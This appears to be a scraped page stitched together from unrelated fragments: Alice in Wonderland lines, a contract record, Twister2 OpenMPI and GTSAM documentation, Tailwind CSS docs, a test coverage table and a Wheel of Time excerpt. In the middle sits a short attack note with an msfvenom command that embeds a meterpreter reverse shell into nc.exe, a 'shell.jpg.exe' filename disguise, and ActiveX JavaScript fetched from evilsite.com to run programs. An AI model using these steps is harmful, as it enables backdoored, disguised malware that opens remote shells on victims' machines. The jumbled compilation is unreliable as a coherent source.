Main content
Alice did not quite know what to say to this: so she helped herself to some tea and bread-and-butter, and then turned to the Dormouse, and repeated her question. ‘Why did they live at the bottom of a well?’
The Dormouse again took a minute or two to think about it, and then said, ‘It was a treacle-well.’ ‘There’s no such thing!’ Alice was beginning very angrily, but the Hatter and the March Hare went ‘Sh! sh!’ and the Dormouse sulkily remarked, ‘If you can’t be civil, you’d better finish the story for yourself.’
At some breakpoints, this is a nested grid. At some breakpoints, this is a nested grid. At some breakpoints, this is a nested grid. At some breakpoints, this is a nested grid.
At some breakpoints, this is a nested grid. At some breakpoints, this is a nested grid.
‘No, please go on!’ Alice said very humbly; ‘I won’t interrupt again. I dare say there may be ONE.’


AECOM CANADA LTD
45370021
2016/03/11
491 Management consulting , except other depts or prog
2016/03/11 to 2016/12/22
2016/12/22
$208,393.43
Phase 1 - Statement of Work Preparation
$19,963.58
$188,429.85
This Contract includes one or more amendments


This email was sent to you by popzora.com. To make sure you receive our updates(not bulk or junk folders), please add our e-mail address to your address book or safe list.
If you have any questions regarding your orders or products, please contact us at
service@popzora.com.


# Twister2 OpenMPI Support in Kubernetes Ahmet Uyar
We want the Twister2 workers to run OpenMPI jobs. OpenMPI jobs are different than regular jobs in a number of ways. OpenMPI requires that: 1. extra libraries are installed on the pods 2. pods have password-free SSH access among them. 3. MPI master pod has a hostfile with the list of all pod addresses before starting the job 4. MPI master node starts the job by executing mpirun command. Then each worker started by OpenMPI framework. 5. OpenMPI framework assigns workers ranks (ids).
## Extra Libraries in Pods We installed OpenMPI and OpenSSH libraries when we build the containers.
## Password-free SSH Among Pods We start an OpenSSH server in each pod when we run OpenMPI enabled Twister2 jobs. We have an SSH key pair that are shared among all pods. This key pair is distributed to all pods by a Secret object in Kubernetes cluster. This Secret object is created once for a cluster and it is a long living object. It can be used by all users who share the same namespace.
The Secret object is mounted to each pod as a volume on:
/ssh-key/openmpi
SSH start scripts use the keys from this volume and set up the password-free SSH access among the pods.
## Hostfile Generation When an OpenMPI enabled job is submitted, init_openmpi.sh script is executed in each pod. This script first starts the OpenSSH server and sets up the password free access among the pods. Next, this script first gets the job package as it is explained in job package upload section. Then, all pods except the first pod in the job starts sleeping. First pod of the job is the its name has the suffix “-0”. The first pod starts the following class:
edu.iu.dsc.tws.rsched.schedulers.k8s.mpi.MPIMasterStarter
to generates the hostfile first. This class watches the pods in the job by listening to events thorough the Kubernetes master. When they become “Running”, it gets their IP addresses and saves them to “hostfile”. It also retrieves the IP address of the Job Master.
After generating the hostfile, this pod makes sure that all OpenSSH servers are running in every pod. It executes the script “check_pwd_free_ssh.sh”. This scripts tries to connect to each pod in the job with ssh. If it can not succeed, it retries. The reason for this is that a pod may have started but OpenSSH server may have not started on it yet. If we execute mpirun without waiting OpenSSH to be started on all pods, it fails. Since it can not connect to some pods with SSH. Therefore, before executing mpirun, we make sure that SSH servers are started and working properly on each pod.
To check the ssh connection among two pods, we send a dummy ssh request. We ask for “pwd” with ssh. Other simple shell commands can also be sent.
## Starting MPI Job After generating the hostfile and making sure that password-free ssh is working from the first pod to all pods, MPIMasterStarter class executes “mpirun” as a separate process. It tells how many workers to run on each pod. It also send the Job Master IP address to workers, so that they don’t try to discover Job Master IP address again.
MPIMasterStarted class asks mpirun to start the following worker starter class on all pods:
edu.iu.dsc.tws.rsched.schedulers.k8s.mpi.MPIWorkerStarter
An instance of this class is started in each pod. This class in return will start the Twister2 worker classes that is defined in configuration files.
## Worker ID Assignment In regular Twister2 jobs, we calculated the workerIDs based on their pod names and container names as it is explianed in [the document](./Twister2-on-Kubernetes.md).
When using OpenMPI, since openMPI is assigning unique IDs to each worker, we use the rank of OpenMPI as the workerID.
## Configuration Parameters Since OpenMPI jobs are started differently than regular Twister2 jobs, a configuration parameter is used to tell whether a job will use OpenMPI.
The parameter name is:
kubernetes.workers.use.openmpi
The value of this parameter has to be “true” to enable OpenMPI. By default, the value of this parameter is false.
A second parameter specifies the name of Kubernetes Secret object. Secret object can ne either created by the administrator when Twister2 is installed or created by a user. However, its name must be specified as a parameter. Parameter name:
kubernetes.secret.name


|
|
GTSAM_EXPORT | Ordering () |
| | Create an empty ordering.
|
| |
|
template<typename KEYS > |
| | Ordering (const KEYS &keys) |
| | Create from a container.
|
| |
|
template<typename ITERATOR > |
| | Ordering (ITERATOR firstKey, ITERATOR lastKey) |
| | Create an ordering using iterators over keys.
|
| |
| boost::assign::list_inserter< boost::assign_detail::call_push_back< This > > | operator+= (Key key) |
| | Add new variables to the ordering as ordering += key1, key2, ... More...
|
| |
|
FastMap< Key, size_t > | invert () const |
| | Invert (not reverse) the ordering - returns a map from key to order position.
|
| |
|
|
GTSAM_EXPORT void | print (const std::string &str="", const KeyFormatter &keyFormatter=DefaultKeyFormatter) const |
| |
|
GTSAM_EXPORT bool | equals (const Ordering &other, double tol=1e-9) const |
| |
|
|
| template<class FACTOR_GRAPH > |
| static Ordering | Colamd (const FACTOR_GRAPH &graph) |
| | Compute a fill-reducing ordering using COLAMD from a factor graph (see details for note on performance). More...
|
| |
|
static GTSAM_EXPORT Ordering | Colamd (const VariableIndex &variableIndex) |
| | Compute a fill-reducing ordering using COLAMD from a VariableIndex.
|
| |
| template<class FACTOR_GRAPH > |
| static Ordering | ColamdConstrainedLast (const FACTOR_GRAPH &graph, const KeyVector &constrainLast, bool forceOrder=false) |
| | Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance). More...
|
| |
| static GTSAM_EXPORT Ordering | ColamdConstrainedLast (const VariableIndex &variableIndex, const KeyVector &constrainLast, bool forceOrder=false) |
| | Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex. More...
|
| |
| template<class FACTOR_GRAPH > |
| static Ordering | ColamdConstrainedFirst (const FACTOR_GRAPH &graph, const KeyVector &constrainFirst, bool forceOrder=false) |
| | Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance). More...
|
| |
| static GTSAM_EXPORT Ordering | ColamdConstrainedFirst (const VariableIndex &variableIndex, const KeyVector &constrainFirst, bool forceOrder=false) |
| | Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex. More...
|
| |
| template<class FACTOR_GRAPH > |
| static Ordering | ColamdConstrained (const FACTOR_GRAPH &graph, const FastMap< Key, int > &groups) |
| | Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance). More...
|
| |
| static GTSAM_EXPORT Ordering | ColamdConstrained (const VariableIndex &variableIndex, const FastMap< Key, int > &groups) |
| | Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex. More...
|
| |
|
template<class FACTOR_GRAPH > |
| static Ordering | Natural (const FACTOR_GRAPH &fg) |
| | Return a natural Ordering. Typically used by iterative solvers.
|
| |
|
template<class FACTOR_GRAPH > |
| static GTSAM_EXPORT void | CSRFormat (std::vector< int > &xadj, std::vector< int > &adj, const FACTOR_GRAPH &graph) |
| | METIS Formatting function.
|
| |
|
static GTSAM_EXPORT Ordering | Metis (const MetisIndex &met) |
| | Compute an ordering determined by METIS from a VariableIndex.
|
| |
|
template<class FACTOR_GRAPH > |
| static Ordering | Metis (const FACTOR_GRAPH &graph) |
| |
|
|
template<class FACTOR_GRAPH > |
| static Ordering | Create (OrderingType orderingType, const FACTOR_GRAPH &graph) |
| |
template<class FACTOR_GRAPH >
| static Ordering gtsam::Ordering::ColamdConstrained |
( |
const FACTOR_GRAPH & |
graph, |
|
|
const FastMap< Key, int > & |
groups |
|
) |
| |
|
inlinestatic |
Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance).
This internally builds a VariableIndex so if you already have a VariableIndex, it is faster to use COLAMD(const VariableIndex&). In this function, a group for each variable should be specified in groups
, and each group of variables will appear in the ordering in group index order. groups
should be a map from Key to group index. The group indices used should be consecutive starting at 0, but may appear in groups
in arbitrary order. Any variables not present in groups
will be assigned to group 0. This function simply fills the cmember
argument to CCOLAMD with the supplied indices, see the CCOLAMD documentation for more information.
Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex.
In this function, a group for each variable should be specified in groups
, and each group of variables will appear in the ordering in group index order. groups
should be a map from Key to group index. The group indices used should be consecutive starting at 0, but may appear in groups
in arbitrary order. Any variables not present in groups
will be assigned to group 0. This function simply fills the cmember
argument to CCOLAMD with the supplied indices, see the CCOLAMD documentation for more information.
template<class FACTOR_GRAPH >
| static Ordering gtsam::Ordering::ColamdConstrainedFirst |
( |
const FACTOR_GRAPH & |
graph, |
|
|
const KeyVector & |
constrainFirst, |
|
|
bool |
forceOrder = false |
|
) |
| |
|
inlinestatic |
Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance).
This internally builds a VariableIndex so if you already have a VariableIndex, it is faster to use COLAMD(const VariableIndex&). This function constrains the variables in constrainLast
to the end of the ordering, and orders all other variables before in a fill-reducing ordering. If forceOrder
is true, the variables in constrainFirst
will be ordered in the same order specified in the KeyVector constrainFirst
. If forceOrder
is false, the variables in constrainFirst
will be ordered before all the others, but will be rearranged by CCOLAMD to reduce fill-in as well.
Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex.
This function constrains the variables in constrainFirst
to the front of the ordering, and orders all other variables after in a fill-reducing ordering. If forceOrder
is true, the variables in constrainFirst
will be ordered in the same order specified in the KeyVector constrainFirst
. If forceOrder
is false, the variables in constrainFirst
will be ordered before all the others, but will be rearranged by CCOLAMD to reduce fill-in as well.
template<class FACTOR_GRAPH >
| static Ordering gtsam::Ordering::ColamdConstrainedLast |
( |
const FACTOR_GRAPH & |
graph, |
|
|
const KeyVector & |
constrainLast, |
|
|
bool |
forceOrder = false |
|
) |
| |
|
inlinestatic |
Compute a fill-reducing ordering using constrained COLAMD from a factor graph (see details for note on performance).
This internally builds a VariableIndex so if you already have a VariableIndex, it is faster to use COLAMD(const VariableIndex&). This function constrains the variables in constrainLast
to the end of the ordering, and orders all other variables before in a fill-reducing ordering. If forceOrder
is true, the variables in constrainLast
will be ordered in the same order specified in the KeyVector constrainLast
. If forceOrder
is false, the variables in constrainLast
will be ordered after all the others, but will be rearranged by CCOLAMD to reduce fill-in as well.
Compute a fill-reducing ordering using constrained COLAMD from a VariableIndex.
This function constrains the variables in constrainLast
to the end of the ordering, and orders all other variables before in a fill-reducing ordering. If forceOrder
is true, the variables in constrainLast
will be ordered in the same order specified in the KeyVector constrainLast
. If forceOrder
is false, the variables in constrainLast
will be ordered after all the others, but will be rearranged by CCOLAMD to reduce fill-in as well.


Example from
Foundation HTML5 Animation with JavaScript
Your browser does not support the
canvas
element.
Type
Linear
Quadratic
Cubic
Quartic
Quintic
Sinusoidal
Exponential
Circular
Back
Bounce
Elastic
Position
Ease In
Ease Out
Ease In/Out
Ease Out/In
Duration
10
20
50
100
200


Change the filename
Since windows by default remove the filename you can call your file shell.jpg.exe, and once downloaded onto the machine windows will display it as "shell.jpg".
Embed malicious code in legitimate file
It is however very likely that this will be picked up by a antivirus.
msfvenom -a x86 --platform windows -x nc.exe -k -p windows/meterpreter/reverse_tcp lhost=<IP_ADDRESS> lhost=53 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o ncMalicious.exe
Autodownload a malicious javascript-file
Just like we can download an exe for a user to can also make that user download a javascript file. Since javascript files can execute commands on windows.
var oShell = new ActiveXObject("Shell.Application");
var commandtoRun = "C:\\Windows\\system32\\calc.exe";
oShell.ShellExecute(commandtoRun,"","","open","1");
http://evilsite.com/file.js
This code can be modified to greate a wget-script and then download and execute a script.


Your browser does not support the HTML5 canvas tag.
Your browser does not support the HTML5 canvas tag.
HTML5 PAINT
Pencil
Brush
Line
Rectangle
Circle
Rounded Rectangle
Eraser
Stroke Width
Stroke Color
Fill Color
1
Clear Canvas


USERNAME OR PASSWORD IS INCORRECT
Enter your username and password below to play!
Username:
Password:
[
Forgot Your Password?
I
Frequently Asked Questions
I
Create Account
]


Click here to make a one time donation.
Click here to become a patron with a $1 or more monthly donation.
Click here to buy Coding Garden Stickers and Merchandise on Red Bubble
Click here to buy Coding Garden Stickers and Merchandise on Tee Spring


Overview
Similar to how Tailwind handles responsive design, styling elements on hover, focus, and more can be accomplished by prefixing utilities with the appropriate pseudo-class.
<form>
<input class="bg-gray-200 hover:bg-white hover:border-gray-300 focus:outline-none focus:bg-white focus:shadow-outline focus:border-gray-300 ...">
<button class="bg-teal-500 hover:bg-teal-600 focus:outline-none focus:shadow-outline ...">
Sign Up
</button>
</form>
Not all pseudo-class variants are enabled for all utilities by default due to file-size considerations, but we've tried our best to enable the most commonly used combinations out of the box.
For a complete list of which variants are enabled by default, see the reference table at the end of this page.
Tailwind includes first-class support for styling elements on hover, focus, active, disabled, visited, first-child, last-child, odd-child, even-child, group-hover, group-focus, and focus-within.
If you need to target a pseudo-class that Tailwind doesn't support, you can extend the supported variants by writing a variant plugin.
Hover
Add the hover:
prefix to only apply a utility on hover.
<button class="bg-transparent hover:bg-blue-500 text-blue-700 hover:text-white...">
Hover me
</button>
You can control whether hover
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
backgroundColor: ['responsive', 'hover', 'focus'],
},
}
Focus
Add the focus:
prefix to only apply a utility on focus.
<input class="bg-gray-200 focus:bg-white border-transparent focus:border-blue-400 ..." placeholder="Focus me">
You can control whether focus
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
backgroundColor: ['responsive', 'hover', 'focus'],
},
}
Active
Add the active:
prefix to only apply a utility when an element is active.
<button class="bg-blue-500 active:bg-blue-700 text-white...">
Click me
</button>
You can control whether active
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
backgroundColor: ['responsive', 'hover', 'focus', 'active'],
},
}
Disabled v1.1.0+
Add the disabled:
prefix to only apply a utility when an element is disabled.
<button class="disabled:opacity-75 bg-blue-500...">
Submit
</button>
<button disabled class="disabled:opacity-75 bg-blue-500...">
Submit
</button>
You can control whether disabled
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
opacity: ['responsive', 'hover', 'focus', 'disabled'],
},
}
Visited v1.1.0+
Add the visited:
prefix to only apply a utility when a link has been visited.
Link
You can control whether visited
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
textColor: ['responsive', 'hover', 'focus', 'visited'],
},
}
First-child v1.1.0+
Add the first:
prefix to only apply a utility when it is the first-child of its parent. This is mostly useful when elements are being generated in some kind of loop.

{{ item }}

It's important to note that you should add any first:
utilities to the child element, not the parent element.
You can control whether first
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
borderWidth: ['responsive', 'first', 'hover', 'focus'],
},
}
Last-child v1.1.0+
Add the last:
prefix to only apply a utility when it is the last-child of its parent. This is mostly useful when elements are being generated in some kind of loop.

{{ item }}

It's important to note that you should add any last:
utilities to the child element, not the parent element.
You can control whether last
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
borderWidth: ['responsive', 'last', 'hover', 'focus'],
},
}
Odd-child v1.1.0+
Add the odd:
prefix to only apply a utility when it is an odd-child of its parent. This is mostly useful when elements are being generated in some kind of loop.

{{ item }}

It's important to note that you should add any odd:
utilities to the child element, not the parent element.
You can control whether odd
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
borderWidth: ['responsive', 'odd', 'hover', 'focus'],
},
}
Even-child v1.1.0+
Add the even:
prefix to only apply a utility when it is an even-child of its parent. This is mostly useful when elements are being generated in some kind of loop.

{{ item }}

It's important to note that you should add any even:
utilities to the child element, not the parent element.
You can control whether even
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
borderWidth: ['responsive', 'even', 'hover', 'focus'],
},
}
Group-hover
If you need to style a child element when hovering over a specific parent element, add the .group
class to the parent element and add the group-hover:
prefix to the utility on the child element.
New Project
Create a new project from a variety of starting templates.

New Project

Create a new project from a variety of starting templates.

You can control whether group-hover
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
textColor: ['responsive', 'hover', 'focus', 'group-hover'],
},
}
Group-focus v1.3.0+
The group-focus
variant works just like group-hover
except for focus:
<button class="group text-gray-700 focus:text-gray-900 ...">
<svg class="h-6 w-6 text-gray-400 group-focus:text-gray-500"></svg>
Submit
</button>
You can control whether group-focus
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
textColor: ['responsive', 'hover', 'focus', 'group-focus'],
},
}
Focus-within
Note that focus-within is not supported in IE or Edge < 79.
Add the focus-within:
prefix to only apply a utility when a child element has focus.
<form class="border-b-2 border-gray-400 focus-within:border-teal-500 ...">
<input class="..." placeholder="Jane Doe" ...>
<button class="...">
Sign Up
</button>
</form>
You can control whether focus-within
variants are enabled for a utility in the variants
section of your tailwind.config.js
file:
// tailwind.config.js
module.exports = {
// ...
variants: {
borderColor: ['responsive', 'hover', 'focus', 'focus-within'],
},
}
Combining with responsive prefixes
Pseudo-class variants are also responsive, meaning you can do things like change an element's hover style at different breakpoints for example.
To apply a pseudo-class variant at a specific breakpoint, add the responsive prefix first, before the pseudo-class prefix:
Generative variants for custom utilities
You can generate pseudo-class variants for your own custom utilities by wrapping them with the @variants
directive in your CSS:
/* Input: */
@variants group-hover, hover, focus {
.banana {
color: yellow;
}
}
/* Output: */
.banana {
color: yellow;
}
.group:hover .group-hover\:banana {
color: yellow;
}
.hover\:banana:hover {
color: yellow;
}
.focus\:banana:focus {
color: yellow;
}
For more information, see the @variants directive documentation.
Creating custom variants
You can create your own variants for any pseudo-classes Tailwind doesn't include by default by writing a custom variant plugin.
For example, this simple plugin adds support for the disabled
pseudo-class variant:
// tailwind.config.js
const plugin = require('tailwindcss/plugin')
module.exports = {
plugins: [
plugin(function({ addVariant, e }) {
addVariant('disabled', ({ modifySelectors, separator }) => {
modifySelectors(({ className }) => {
return `.${e(`disabled${separator}${className}`)}:disabled`
})
})
})
]
}
Learn more about writing variant plugins in the variant plugin documentation.
Default variants reference
Due to file-size considerations, Tailwind does not all variants for all utilities by default.
To configure which variants are enabled for your project, see the configuring variants documentation.


Hot-keys on this page
n s m x c change column sorting
| Module | statements | missing | excluded | coverage |
|---|---|---|---|---|
| Total | 452 | 63 | 33 | 86% |
| hexafuel_oil\__init__.py | 0 | 0 | 0 | 100% |
| hexafuel_oil\asgi.py | 4 | 4 | 0 | 0% |
| hexafuel_oil\settings.py | 24 | 0 | 0 | 100% |
| hexafuel_oil\urls.py | 3 | 0 | 0 | 100% |
| hexafuel_oil\wsgi.py | 4 | 4 | 0 | 0% |
| hexafuel_oil_app\__init__.py | 0 | 0 | 0 | 100% |
| hexafuel_oil_app\admin.py | 12 | 0 | 0 | 100% |
| hexafuel_oil_app\apps.py | 0 | 0 | 3 | 100% |
| hexafuel_oil_app\forms.py | 47 | 26 | 0 | 45% |
| hexafuel_oil_app\migrations\0001_initial.py | 7 | 0 | 0 | 100% |
| hexafuel_oil_app\migrations\__init__.py | 0 | 0 | 0 | 100% |
| hexafuel_oil_app\mixins.py | 4 | 0 | 12 | 100% |
| hexafuel_oil_app\models.py | 70 | 0 | 14 | 100% |
| hexafuel_oil_app\signals.py | 0 | 0 | 2 | 100% |
| hexafuel_oil_app\test_views.py | 79 | 0 | 0 | 100% |
| hexafuel_oil_app\urls.py | 6 | 0 | 0 | 100% |
| hexafuel_oil_app\views.py | 182 | 29 | 0 | 84% |
| manage.py | 10 | 0 | 2 | 100% |
No items found using the specified filter.


For a moment Rand wished for the days when he could have strolled the Palace corridors alone. This morning he was accompanied by Sulin and twenty Maidens, by Bael, clan chief of the Goshien Aiel, with half a dozen Sovin Nai, Knife Hands, from the Jhirad Goshien for Bael’s honor, and by Bashere with as many of his hawk-nosed Saldaeans. They crowded the broad, tapestry-hung hallway, the cadin’sor-clad Far Dareis Mai and Sovin Nai staring through servants who bowed or curtsied hastily and got out of the way, and the younger Saldaeans swaggering in their short coats and their baggy breeches tucked into their boots. It was hot even here in the shaded passage, and dust motes danced in the air. Some of the servants wore the red-and-white livery they had worn when Morgase ruled, but most were new, garbed in whatever they had on when they came applying for the job, a motley collection of farmers’ and tradesmen’s woolens, mainly dark and plain but running the range of colors, with here and there splashes of embroidery or bits of lace.
Rand made a mental note to have Mistress Harfor, the First Maid, find livery enough to go around, so the newcomers would not feel required to work in their best clothes. Palace livery was certainly finer than anything country folk had except perhaps for feastdays. The servants numbered fewer than in Morgase’s day, and a good many of the red-and-white attired men and women were gray and stooped, out of the pensioners’ quarters. Instead of fleeing when so many others did, they had quit their retirement rather than see the palace become run down. Another mental note. Have Mistress Harfor—First Maid was an unprepossessing title, but Reene Harfor ran the Royal Palace day-to-day—find enough servants so these oldsters could enjoy their pensions. Were the pensions still being paid with Morgase dead? He should have thought of that before; Halwin Norry, the chief clerk, would know. It was like being beaten to death with feathers. Everything reminded him of something else to be done. The Ways; that was no feather. He had the Waygate here in Caemlyn under guard, and those near Tear and Cairhien, but he could not even be sure how many more there were.
Yes, he would have traded all the bows and curtsies, all the honor guards, all the questions and burdens, all the people whose needs had to be met, for the days when he had to worry about providing a coat for himself. Of course, in those days he would not have been allowed to stroll these corridors at all, certainly not without a different sort of guard, one to make sure he did not slip a silver-and-gold chalice from its niche in the wall, or an ivory carving from a lapis-inlaid table.
At least Lews Therin’s voice was not muttering at him this morning. At least he seemed to be getting the way of the mental trick Taim had shown him; sweat trickled down Bashere’s face, but the heat hardly touched Rand. He wore his silver-embroidered coat of gray silk buttoned to the neck, and if he felt a little warm, he did not sweat a drop. Taim assured him that in time he would not even feel heat or cold great enough to disable another man. It was a matter of distancing from himself, of concentrating inward, a little like the way he prepared to embrace saidin. Strange that it should be so close to the Power yet have nothing to do with it at all. Did Aes Sedai do the same? He had never seen one sweat. Had he?
Abruptly he laughed out loud. Wondering whether Aes Sedai ever sweated! Maybe he was not mad yet, but he could pass fair for a wool-headed fool.
“Did I say something funny?” Bashere asked dryly, knuckling his mustaches. Some of the Maidens looked at him expectantly; they were making an effort to understand wetlander humor.
How Bashere kept his equanimity, Rand did not know. A rumor had reached the Palace that very morning of fighting in the Borderlands, between Borderlanders. Travelers’ tales sprang up like weeds after rain, but this had come from the north, apparently with merchants who had been at least as far as Tar Valon. Nothing in it said where or who exactly. Saldaea was as likely as anywhere else, and Bashere had had no word from there since he left months ago, yet he might have heard that the price of turnips had risen for all the effect the rumor had had on him.
Of course, Rand knew nothing of what was going on in the Two Rivers either—unless vague mutters of an uprising somewhere in the west touched his home; in these days, that could be anything or nothing—but it was not the same for him. He had abandoned the Two Rivers. Aes Sedai had spies everywhere, and he would not wager a copper that the Forsaken did not as well. The Dragon Reborn had no interest in the flyspeck village where Rand al’Thor had grown up; he was far beyond that. If he was not, then Emond’s Field was a hostage to use against him. Still, he would not split hairs with himself. Abandonment was abandonment.
If I could find a way to escape my destiny, do I deserve to? That was his own thought, not Lews Therin’s.
Shifting shoulders that suddenly seemed to ache dully, he kept his voice light. “Forgive me, Bashere. Something odd just occurred to me, but I have been listening. You were saying Caemlyn is filling up. For every man who ran away because he was afraid of the false Dragon, two have come because I’m not, and he isn’t. You see?”
Bashere grunted, which might have meant anything.
“How many have come for other reasons, Rand al’Thor?” Bael was the tallest man Rand had ever seen, a good hand taller than Rand himself. He made an odd contrast with Bashere, who stood shorter than any of the Maidens except Enaila. Gray streaked thickly through Bael’s dark reddish hair, but his face was lean and hard, his blue eyes sharp. “You have enemies enough for a hundred men. Mark me, they will try to strike at you again. There could even be Shadowrunners among them.”
“Even if there are no Darkfriends,” Bashere put in, “trouble brews in the city like tea left on the boil. A number of people have been severely beaten, evidently for doubting you’re the Dragon Reborn, and one poor fellow was hauled from a tavern into a barn and hanged from the rafters for laughing at your miracles.”
“My miracles?” Rand said incredulously.
A wrinkled, white-haired serving man in a too-large coat of livery, with a large vase in his hands, trying to bow and step out of the way at the same time, tripped on his heel and fell backward. The pale green vase, paper-thin Sea Folk porcelain, flew over his head and went tumbling end-over-end across the dark red floor tiles, spinning and bouncing until it came to rest, upright, thirty or so paces down the hall. The old man scrambled to his feet with surprising spryness and ran to snatch up the vase, running his hands over it and exclaiming in disbelief as much as relief when he found not a chip or a crack. Other servants stared with just as much incredulity, before abruptly coming to themselves and hurrying on about their tasks. They avoided looking at Rand so hard that several forgot to bow or curtsy.
Bashere and Bael exchanged looks, and Bashere blew out his thick mustaches.
“Strange occurrences, then,” he said. “Every day there’s another story about a child falling headfirst onto paving stones from a window forty feet up, without so much as a single bruise. Or a grandmother getting in the way of two dozen runaway horses, only somehow they don’t even buffet her, much less knock her down and trample her. Some fellow threw five crowns twenty-two times straight at dice the other day, and they lay that at your feet, too. Luckily for him.”
“It is said,” Bael added, “that yesterday a basket of roof tiles fell from a roof and landed in the street unbroken in the shape of the ancient symbol of the Aes Sedai.” He glanced at the open-mouthed white-haired servant, clutching the vase to his chest as they passed. “I do not doubt that it did.”
Rand exhaled slowly. They did not mention the other sort, of course. The man who stumbled on a step and was hanged when his kerchief caught on the door latch.  The sort of thing that did happen, but rarely. Only such things were not rare around him. For good or ill, for ill as often as good, he twisted chance merely by being within a few miles. No, if the Dragons disappeared from his arms and the branded herons from his palms, he was still marked. There was a saying in the Borderlands: “Duty is heavier than a mountain, death lighter than a feather.” Once you had that mountain firmly on your shoulders, there was no way to put it down. There was no one else to carry it anyway, and no use whining about it.
He made his voice brisk. “Have you found the men who did the hanging?” Bashere shook his head. “Then find them, and arrest them for murder. I want a stop put to this. Doubting me isn’t a crime.” Rumor said the Prophet had made it one, but there was nothing he could do about that yet. He did not even know where Masema was, beyond somewhere in Ghealdan or Amadicia. If he had not gone elsewhere meantime. Yet another note chalked up in his head; he had to find the man and rein him somehow.
“No matter how far it goes?” Bashere said. “There are whispers you’re a false Dragon who killed Morgase with Aes Sedai help. The people are supposed to rise up against you and avenge their queen. There may be more than one someone. It isn’t clear.”
Rand’s face hardened. The first part he could live with—he had to; there were too many variations to stamp out however many times he denied it—but he would not tolerate incitement to rebellion. Andor would be one land he did not split apart in war. He would give Elayne a land as unblemished as it had come to him. If he ever found her, he would. “Find who began it,” he said harshly, “and toss them in prison.” Light, how to find who started a whisper? “If they seek pardon, they can ask Elayne for it.” A young serving woman in a rough brown dress, dusting a blue spun-glass bowl, caught sight of his face, and the bowl dropped from her suddenly shaking hands and shattered. He did not always alter chance. “Is there any good news? I could do with some.”
The young woman bent unsteadily to gather up the shards of the bowl, but Sulin glanced at her, just glanced, and she sprang back, flattening herself wide-eyed against a tapestry showing a leopard hunt. Rand did not understand it, but some women seemed more frightened of the Maidens than they did of Aielmen. The young woman looked at Bael as if hoping he would protect her. He did not appear to see her at all.
“That depends on how you define good news.” Bashere shrugged. “I’ve learned that Ellorien of House Traemane and Pelivar of House Coelan entered the city three days ago. Sneaked in, you might say, and neither has come near the Inner City that I’ve heard. Talk in the streets has Dyelin of House Taravin in the country nearby. None of them has responded to your invitations. I’ve heard nothing to connect any of them to the whispers.” He glanced at Bael, who gave a slight shake of his head.
“We hear less than you, Davram Bashere. These people speak more freely around other wetlanders.”
It was good news in any case. Those were people Rand needed. If they believed him a false Dragon, he could find a way around that. If they believed he had killed Morgase . . . well, so much the better if they remained loyal to her memory, and her blood. “Send them fresh invitations to visit me. Include Dyelin’s name; they may know where she is.”
“If I send such an invitation,” Bashere said doubtfully, “it may do no more than remind them there’s a Saldaean army in Andor.”
Rand hesitated, then nodded, suddenly grinning. “Ask the Lady Arymilla to carry it. I don’t doubt she’ll leap at the chance to show them how close she is to me. But you write it out.” Moiraine’s lessons in playing the Game of Houses were coming in useful once more.
“I do not know whether it is good news or bad,” Bael said, “but the Red Shields tell me two Aes Sedai have taken rooms at an inn in the New City.” The Red Shields had been helping Bashere’s men police Caemlyn and were now taking it over alone. Bael grinned slightly at the chagrin on Bashere’s face. “We hear less, Davram Bashere, but perhaps sometimes we see more.”
“Is one of them our friend who likes cats?” Rand asked. The stories of an Aes Sedai in the city persisted; sometimes there were two, or three, or a whole party. The closest Bashere or Bael had come to anything at all, though, were a few stories of an Aes Sedai who Healed dogs and cats, but always the next street over, told by someone who had been told by someone who had heard it in a tavern or in the market.
Bael shook his head. “I do not think so. The Red Shields said these two seem to have arrived in the night.” Bashere looked interested—he seldom let an opportunity pass to repeat that Rand needed Aes Sedai—but Bael was frowning slightly, so slightly it would not have been noticeable on anyone but an Aiel. Aiel were careful in their dealings with Aes Sedai, even reluctant.
Those few words contained plenty for Rand to think on, and every path came back to himself. Two Aes Sedai had to have a reason to come into Caemlyn, when their sisters were avoiding the city since he appeared there. The most likely reason was something to do with him. In the best of times few people journeyed by night, and these were not the best times. Aes Sedai arriving in the dark might be trying to avoid notice, and the most likely notice for them to avoid was his. On the other hand, they might just be going somewhere urgently. Which could spell a mission for the Tower. The truth of it was, he could not think what might be more important to the Tower right now than himself. Or they might be on their way to join the Aes Sedai that Egwene insisted were going to support him.
Whatever it was, he wanted to know. The Light alone knew what the Aes Sedai were up to—the Tower or Elayne’s hidden lot—but he had to find out. There were too many of them, and they could be too dangerous, for him not to. How would the Tower react when Elaida learned of his amnesty? How would any Aes Sedai? Had they heard yet?
As they approached the doors at the end of the corridor, he opened his mouth to tell Bael to ask one of the Aes Sedai to come to the Palace. He could handle two Aes Sedai if it came to that—so long as they did not catch him by surprise—but there was no point taking chances until he knew who they were and what they were about.
Pride fills me. I am sick with the pride that destroyed me!
